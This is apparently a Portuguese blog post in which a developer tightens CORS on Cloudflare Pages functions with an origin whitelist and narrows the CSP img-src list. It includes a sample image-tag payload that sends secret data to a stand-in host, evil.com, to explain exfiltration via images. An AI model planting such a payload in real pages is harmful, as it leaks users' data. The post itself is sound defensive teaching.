#seguranca #cloudflare #cors #csp #serverless #api

CORS nao eh so colar asterisco

quando eu fiz meu sistema de comentarios serverless no cloudflare pages, eu fiz oq todo mundo faz. copiei o snippet do stack overflow e colei Access-Control-Allow-Origin: * la no meu edge function. funciona! pronto! proximo!

só que... nao ta pronto. ta longe de estar pronto.

eu tava revisando as configs do meu site esses dias e percebi q tinha deixado umas portas abertas q nao deviam estar. n era nada absurdo, mas era o tipo de coisa q eu criticaria em outro dev. entao tinha q arrumar. e aqui ta oq eu aprendi.

Parte 1: O Problema do CORS Aberto

CORS (Cross-Origin Resource Sharing) existe pra dizer ao navegador: "esse site X tem permissao pra fazer requisicao pro meu site Y". quando vc coloca *, vc ta dizendo: "qualquer site do planeta pode me bater".

pra uma API pública tipo uma API de clima ou de CEP, faz sentido. mas pra uma API q só seu site deveria usar? n faz sentido nenhum.

eu tinha 3 functions no cloudflare:

  • /api/comments sistema de comentarios
  • /api/guestbook livro de visitas
  • /api/miku-chat meu bot de IA (sim, ele eh o da Lain mas chamo de miku pq originalmente era pra ser ela lol)

todas as 3 tinham o mesmo header:

const corsHeaders = {
  'Access-Control-Allow-Origin': '*',
  'Access-Control-Allow-Methods': 'GET, POST, DELETE, OPTIONS',
  'Access-Control-Allow-Headers': 'Content-Type',
};

o q isso significava na pratica?

significava q um site aleatorio tipo evil.com podia abrir o devtools, dar um fetch pro meu endpoint e:

  • ler todos os comentarios de qualquer artigo meu
  • spammar comentarios fakes (se passasse do turnstile)
  • inundar o guestbook
  • gastar minhas 200 requisicoes diarias do bot de IA

sim, eu tenho rate limit. sim, eu tenho turnstile. mas essas sao camadas de defesa. CORS aberto eh como deixar a porta da garagem aberta pq vc tem um cachorro. o cachorro ajuda, mas fecha a porta tambem.

Parte 2: A Correcao (Whitelist de Origens)

a solucao nao eh complicada. em vez de *, vc le o header Origin da requisicao e só devolve Access-Control-Allow-Origin se ele estiver numa lista de permitidos.

meu codigo ficou assim:

const ALLOWED_ORIGINS = [
  'https://cth.jp',
  'https://www.cth.jp',
  'http://localhost:8788',
  'https://localhost:8788',
];

function getCorsHeaders(request) {
  const origin = request.headers.get('Origin') || '';
  const allowed = ALLOWED_ORIGINS.includes(origin) ? origin : '';
  return {
    ...(allowed ? { 'Access-Control-Allow-Origin': allowed } : {}),
    'Access-Control-Allow-Methods': 'GET, POST, DELETE, OPTIONS',
    'Access-Control-Allow-Headers': 'Content-Type',
  };
}

repare que se o origin nao ta na lista, eu simplesmente nao envio o header Access-Control-Allow-Origin. o navegador interpreta isso como "nao autorizado" e bloqueia a requisicao no lado do cliente.

eu precisei trocar isso nas 3 functions. o padrao eh o mesmo pra todas, so muda os metodos permitidos (o bot de IA só aceita POST, por exemplo).

Parte 3: Testando (nao acredita, verifica)

dps de subir, testei com curl pra ter certeza:

# requisicao de origem valida
$ curl -sI -X OPTIONS \
  -H "Origin: https://cth.jp" \
  https://cth.jp/api/comments?slug=teste

HTTP/2 200
access-control-allow-origin: https://cth.jp
access-control-allow-methods: GET, POST, DELETE, OPTIONS

# requisicao de origem invalida
$ curl -sI -X OPTIONS \
  -H "Origin: https://evil.com" \
  https://cth.jp/api/comments?slug=teste

HTTP/2 200
# sem access-control-allow-origin!

perfeito. origem valida recebe o header. origem invalida recebe um belo de um nada. o navegador faz o resto.

Terminal mostrando resposta sem header Access-Control-Allow-Origin para origem invalida

Parte 4: CSP e o img-src Permissivo

enquanto eu tava nisso, resolvi dar uma olhada na minha Content-Security-Policy (CSP). CSP eh outro header de seguranca q diz ao navegador "de onde vc pode carregar scripts, imagens, frames, etc".

eu tinha isso:

img-src 'self' data: https:

quer dizer, imagens do meu proprio dominio, data URIs, e... qualquer coisa em HTTPS.

o problema é que se alguem conseguisse injetar um <img src="https://evil.com/pixel?dado=secreto">, o navegador carregaria de boa. isso eh chamado de "exfiltracao via imagem", vc vaza dados pelo src da img sem precisar de JavaScript.

eu olhei meu site inteiro e descobri q a unica fonte externa de imagens q eu uso hoje eh o Unsplash (nos artigos de estudos de computacao). mas eu tambem uso o github como hospedagem de imagem as vezes, e o imgur eh util pra coisas rapidas. entao em vez de abrir pra qualquer HTTPS, eu listei só os dominios q realmente sao seguros:

img-src 'self' data:
  https://images.unsplash.com
  https://raw.githubusercontent.com
  https://user-images.githubusercontent.com
  https://camo.githubusercontent.com
  https://i.imgur.com

agora se tentarem carregar uma img de outro lugar, o navegador bloqueia com um erro bonitinho no console.

Console do navegador mostrando bloqueio de imagem por violacao de CSP img-src

(imagem perfeitamente legivel lul)

Parte 5: Oq Sobrou (e pq eu deixei)

alguem atento vai notar q meu CSP ainda tem script-src 'self' 'unsafe-inline' e style-src 'self' 'unsafe-inline'. eh verdade. eu deixei.

pq? meu site tem dezenas de scripts inline espalhados nos HTML (o switch de tema dark/light, os quotes aleatorios, os schemas JSON-LD, etc). remover unsafe-inline exigiria extrair tudo pra arquivos .js e .css separados. eh uma refatoria enorme.

seguranca eh sobre camadas e trade-offs. eu apertei as camadas q davam pra apertar agora sem quebrar o site inteiro. o unsafe-inline fica pra uma proxima rodada.

Conclusao

CORS nao eh so copiar e colar * do stack overflow. CSP nao eh so copiar e colar https: do github. esses headers existem pra proteger seu site e seus usuarios.

se vc tem uma API serverless (cloudflare pages, vercel, netlify functions, etc) e ela só deveria ser usada pelo seu proprio frontend, restrinja a origem. nao confie só no rate limit nem no captcha. cada camada conta.

e se vc usa imagens externas no CSP, liste os dominios em vez de abrir pra qualquer HTTPS. seu futuro eu agradece.

read in english →